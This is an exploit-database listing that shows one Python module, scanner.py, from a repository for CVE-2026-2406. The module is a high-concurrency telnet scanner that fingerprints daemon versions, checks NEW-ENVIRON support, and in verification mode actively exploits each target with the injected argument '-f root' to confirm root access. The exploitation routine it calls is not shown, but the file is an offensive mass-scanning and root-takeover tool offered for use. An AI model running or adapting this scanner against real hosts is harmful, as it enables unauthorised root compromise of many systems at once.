Exploit databaseDownload repository ZIP
GH-5ead058a184dae8a6872319aa22b96a1
ridpath/terrminus-cve-2026-2406
Sources for CVE-2026-2406
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
ridpath/terrminus-cve-2026-2406Revision 773fb5defe90
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
terminus/core/scanner.py
Python · 14,114 bytesimport asyncio
import time
from collections.abc import AsyncIterator, Callable
from dataclasses import dataclass, field
from enum import Enum
from pathlib import Path
from typing import Any
from ..detection.fingerprint import BannerAnalyzer, VulnerabilityMatch
from ..detection.heuristics import (
BehaviorAnalysis,
NonDestructiveProbe,
ProbeResult,
RiskAssessment,
RiskScore,
VulnerabilityScorer,
)
from ..detection.signatures import SignatureDatabase
from ..utils.config import get_config
from .terminus_engine import TerminusNegotiator
class ScanStatus(Enum):
PENDING = "pending"
SCANNING = "scanning"
COMPLETED = "completed"
FAILED = "failed"
TIMEOUT = "timeout"
@dataclass
class ScanResult:
target: str
port: int
status: ScanStatus
timestamp: float
duration_ms: float
connected: bool = False
banner: str = ""
daemon_type: str = ""
version: str = ""
version_confidence: float = 0.0
new_environ_supported: bool = False
vulnerable: bool = False
vulnerability_match: VulnerabilityMatch | None = None
risk_score: RiskScore = RiskScore.UNKNOWN
risk_details: str = ""
probe_result: ProbeResult | None = None
behavior_analysis: BehaviorAnalysis | None = None
vulnerability_score: float = 0.0
verified: bool = False
verification_output: str = ""
root_uid_confirmed: bool = False
error: str | None = None
retry_count: int = 0
platform_info: dict[str, str] = field(default_factory=dict)
def to_dict(self) -> dict[str, Any]:
return {
"target": self.target,
"port": self.port,
"status": self.status.value,
"timestamp": self.timestamp,
"duration_ms": self.duration_ms,
"connected": self.connected,
"banner": self.banner,
"daemon_type": self.daemon_type,
"version": self.version,
"version_confidence": self.version_confidence,
"new_environ_supported": self.new_environ_supported,
"vulnerable": self.vulnerable,
"vulnerability_match": (
{
"vulnerable": self.vulnerability_match.vulnerable,
"cve_id": self.vulnerability_match.cve_id,
"daemon": self.vulnerability_match.daemon,
"confidence": self.vulnerability_match.confidence,
"description": self.vulnerability_match.description,
}
if self.vulnerability_match
else None
),
"risk_score": self.risk_score.value,
"risk_details": self.risk_details,
"vulnerability_score": self.vulnerability_score,
"verified": self.verified,
"verification_output": self.verification_output,
"root_uid_confirmed": self.root_uid_confirmed,
"error": self.error,
"retry_count": self.retry_count,
"platform_info": self.platform_info,
}
@dataclass
class ScanProgress:
total_targets: int
completed: int = 0
in_progress: int = 0
failed: int = 0
vulnerable: int = 0
start_time: float = field(default_factory=time.time)
@property
def percent_complete(self) -> float:
if self.total_targets == 0:
return 0.0
return (self.completed / self.total_targets) * 100
@property
def elapsed_seconds(self) -> float:
return time.time() - self.start_time
@property
def eta_seconds(self) -> float | None:
if self.completed == 0:
return None
rate = self.completed / self.elapsed_seconds
remaining = self.total_targets - self.completed
return remaining / rate if rate > 0 else None
class TokenBucket:
def __init__(self, rate: float, capacity: float):
self.rate = rate
self.capacity = capacity
self.tokens = capacity
self.last_update = time.time()
self._lock = asyncio.Lock()
async def acquire(self, tokens: int = 1) -> None:
async with self._lock:
while True:
now = time.time()
elapsed = now - self.last_update
self.tokens = min(self.capacity, self.tokens + elapsed * self.rate)
self.last_update = now
if self.tokens >= tokens:
self.tokens -= tokens
return
wait_time = (tokens - self.tokens) / self.rate
await asyncio.sleep(wait_time)
class TerminusScanner:
def __init__(
self,
max_concurrent: int | None = None,
rate_limit: float | None = None,
timeout: float = 10.0,
retry_attempts: int = 2,
retry_backoff: float = 1.5,
enable_probing: bool = True,
enable_verification: bool = False,
signatures_db_path: str | None = None,
):
config = get_config()
self.max_concurrent = max_concurrent or config.get_int("scanner.max_concurrent", 1000)
self.rate_limit = rate_limit or config.get_float("scanner.rate_limit", 100.0)
self.timeout = timeout or config.get_float("scanner.connect_timeout", 10.0)
self.retry_attempts = retry_attempts or config.get_int("scanner.retry_attempts", 2)
self.retry_backoff = retry_backoff or config.get_float("scanner.retry_backoff", 1.5)
self.enable_probing = enable_probing
self.enable_verification = enable_verification
self.semaphore = asyncio.Semaphore(self.max_concurrent)
self.rate_limiter = TokenBucket(rate=self.rate_limit, capacity=self.rate_limit * 2)
self.banner_analyzer = BannerAnalyzer()
db_path = Path(signatures_db_path) if signatures_db_path else None
self.signature_db = SignatureDatabase(db_path=db_path)
self.probe = NonDestructiveProbe() if enable_probing else None
self.progress: ScanProgress | None = None
async def scan_targets(
self, targets: list[str], port: int = 23, progress_callback: Callable | None = None
) -> AsyncIterator[ScanResult]:
self.progress = ScanProgress(total_targets=len(targets))
tasks = []
for target in targets:
task = asyncio.create_task(self._scan_target_with_retries(target, port))
tasks.append(task)
for completed_task in asyncio.as_completed(tasks):
result = await completed_task
self.progress.completed += 1
if result.status == ScanStatus.FAILED:
self.progress.failed += 1
if result.vulnerable:
self.progress.vulnerable += 1
if progress_callback:
progress_callback(self.progress)
yield result
async def _scan_target_with_retries(self, target: str, port: int) -> ScanResult:
last_result: ScanResult | None = None
for attempt in range(self.retry_attempts + 1):
result = await self._scan_target(target, port, attempt)
if result.status == ScanStatus.COMPLETED:
return result
last_result = result
if attempt < self.retry_attempts:
backoff_time = self.retry_backoff**attempt
await asyncio.sleep(backoff_time)
assert last_result is not None
return last_result
async def _scan_target(self, target: str, port: int, retry_count: int = 0) -> ScanResult:
start_time = time.time()
async with self.semaphore:
await self.rate_limiter.acquire()
if self.progress:
self.progress.in_progress += 1
try:
result = await asyncio.wait_for(
self._perform_scan(target, port, retry_count), timeout=self.timeout
)
return result
except asyncio.TimeoutError:
duration_ms = (time.time() - start_time) * 1000
return ScanResult(
target=target,
port=port,
status=ScanStatus.TIMEOUT,
timestamp=start_time,
duration_ms=duration_ms,
error=f"Scan timeout after {self.timeout}s",
retry_count=retry_count,
)
except Exception as e:
duration_ms = (time.time() - start_time) * 1000
return ScanResult(
target=target,
port=port,
status=ScanStatus.FAILED,
timestamp=start_time,
duration_ms=duration_ms,
error=f"Scan error: {str(e)}",
retry_count=retry_count,
)
finally:
if self.progress:
self.progress.in_progress -= 1
async def _perform_scan(self, target: str, port: int, retry_count: int) -> ScanResult:
start_time = time.time()
negotiator = TerminusNegotiator(timeout=self.timeout)
try:
handshake_result = await negotiator.handshake(target, port)
if not handshake_result.success:
duration_ms = (time.time() - start_time) * 1000
return ScanResult(
target=target,
port=port,
status=ScanStatus.FAILED,
timestamp=start_time,
duration_ms=duration_ms,
connected=False,
error=handshake_result.error,
retry_count=retry_count,
)
version_info = self.banner_analyzer.analyze(
handshake_result.banner,
handshake_result.option_sequence
)
platform_info = self.banner_analyzer.extract_platform_info(handshake_result.banner)
vulnerable_versions = self.signature_db.get_vulnerable_versions()
vuln_match = self.banner_analyzer.match_vulnerable_version(
version_info, vulnerable_versions
)
probe_result = None
if (
self.enable_probing
and self.probe
and handshake_result.new_environ_supported
and negotiator.session
):
probe_result = await self.probe.probe_new_environ_support(negotiator.session)
behavior_analysis = None
if negotiator.session and self.probe:
behavior_analysis = await self.probe.analyze_behavior(handshake_result.banner, "")
risk_score = RiskAssessment.calculate_risk(
version_vulnerable=vuln_match is not None,
version_confidence=vuln_match.confidence if vuln_match else "unknown",
new_environ_supported=handshake_result.new_environ_supported,
probe_result=probe_result,
behavior=behavior_analysis,
)
risk_details = RiskAssessment.generate_risk_details(
risk_score,
version_info=(
{"daemon": version_info.daemon_type.value, "version": version_info.version}
if version_info
else None
),
probe_result=probe_result,
)
vulnerability_score = VulnerabilityScorer.score_vulnerability(
banner_confidence=version_info.confidence,
version_match=vuln_match is not None,
new_environ_support=handshake_result.new_environ_supported,
probe_result=probe_result,
)
verified = False
verification_output = ""
root_uid_confirmed = False
if self.enable_verification and handshake_result.new_environ_supported:
exploit_result = await negotiator.exploit(payload="-f root")
verified = exploit_result.success
verification_output = exploit_result.output
root_uid_confirmed = exploit_result.root_access
if root_uid_confirmed:
risk_score = RiskScore.CRITICAL
risk_details = "CRITICAL: Root access confirmed via active exploitation (uid=0)"
duration_ms = (time.time() - start_time) * 1000
if self.enable_verification:
is_vulnerable = root_uid_confirmed
else:
is_vulnerable = vuln_match is not None
return ScanResult(
target=target,
port=port,
status=ScanStatus.COMPLETED,
timestamp=start_time,
duration_ms=duration_ms,
connected=True,
banner=handshake_result.banner,
daemon_type=version_info.daemon_type.value,
version=version_info.version,
version_confidence=version_info.confidence,
new_environ_supported=handshake_result.new_environ_supported,
vulnerable=is_vulnerable,
vulnerability_match=vuln_match,
risk_score=risk_score,
risk_details=risk_details,
probe_result=probe_result,
behavior_analysis=behavior_analysis,
vulnerability_score=vulnerability_score,
verified=verified,
verification_output=verification_output,
root_uid_confirmed=root_uid_confirmed,
retry_count=retry_count,
platform_info=platform_info,
)
finally:
await negotiator.close()
def get_progress(self) -> ScanProgress | None:
return self.progress
async def scan_single_target(self, target: str, port: int = 23) -> ScanResult:
self.progress = ScanProgress(total_targets=1)
return await self._scan_target_with_retries(target, port)